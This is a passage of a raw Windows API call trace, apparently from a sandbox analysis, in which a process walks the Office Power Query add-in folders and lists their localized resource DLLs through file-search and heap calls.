ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.710] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.710] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfbd422, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.710] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63a12a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63a12a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.710] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63a12a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63a12a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0090.710] FindClose (in: hFindFile=0x3b8b548 | out: hFindFile=0x3b8b548) returned 1 [0090.711] GetProcessHeap () returned 0x11a0000 [0090.711] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.711] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0090.711] GetProcessHeap () returned 0x11a0000 [0090.711] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.712] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b788 [0090.716] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.717] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.717] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.717] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69be349, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69be349, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a0a7fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.717] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.717] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0090.717] FindClose (in: hFindFile=0x3b8b788 | out: hFindFile=0x3b8b788) returned 1 [0090.718] GetProcessHeap () returned 0x11a0000 [0090.718] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.718] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0090.718] GetProcessHeap () returned 0x11a0000 [0090.718] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b388 [0090.721] FindNextFileW (in: hFindFile=0x3b8b388, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.721] FindNextFileW (in: hFindFile=0x3b8b388, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.721] FindNextFileW (in: hFindFile=0x3b8b388, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.721] FindNextFileW (in: hFindFile=0x3b8b388, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.721] FindNextFileW (in: hFindFile=0x3b8b388, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.721] FindNextFileW (in: hFindFile=0x3b8b388, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0090.721] FindClose (in: hFindFile=0x3b8b388 | out: hFindFile=0x3b8b388) returned 1 [0090.723] GetProcessHeap () returned 0x11a0000 [0090.723] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.723] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0090.723] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Cyrl", cAlternateFileName="")) returned 1 [0090.723] GetProcessHeap () returned 0x11a0000 [0090.723] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b308 [0090.725] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.725] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ab054a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf05741b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf05741b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaaaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x3b8b308, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaaaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0090.726] FindClose (in: hFindFile=0x3b8b308 | out: hFindFile=0x3b8b308) returned 1 [0090.727] GetProcessHeap () returned 0x11a0000 [0090.727] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.727] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0090.727] GetProcessHeap () returned 0x11a0000 [0090.727] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b148 [0090.987] FindNextFileW (in: hFindFile=0x3b8b148, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.987] FindNextFileW (in: hFindFile=0x3b8b148, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.987] FindNextFileW (in: hFindFile=0x3b8b148, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.987] FindNextFileW (in: hFindFile=0x3b8b148, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b14875, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b14875, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b3aadd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.987] FindNextFileW (in: hFindFile=0x3b8b148, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.987] FindNextFileW (in: hFindFile=0x3b8b148, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0090.987] FindClose (in: hFindFile=0x3b8b148 | out: hFindFile=0x3b8b148) returned 1 [0090.989] GetProcessHeap () returned 0x11a0000 [0090.989] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.989] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0090.989] GetProcessHeap () returned 0x11a0000 [0090.989] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0090.993] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.993] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae953d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae953d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaebb622, 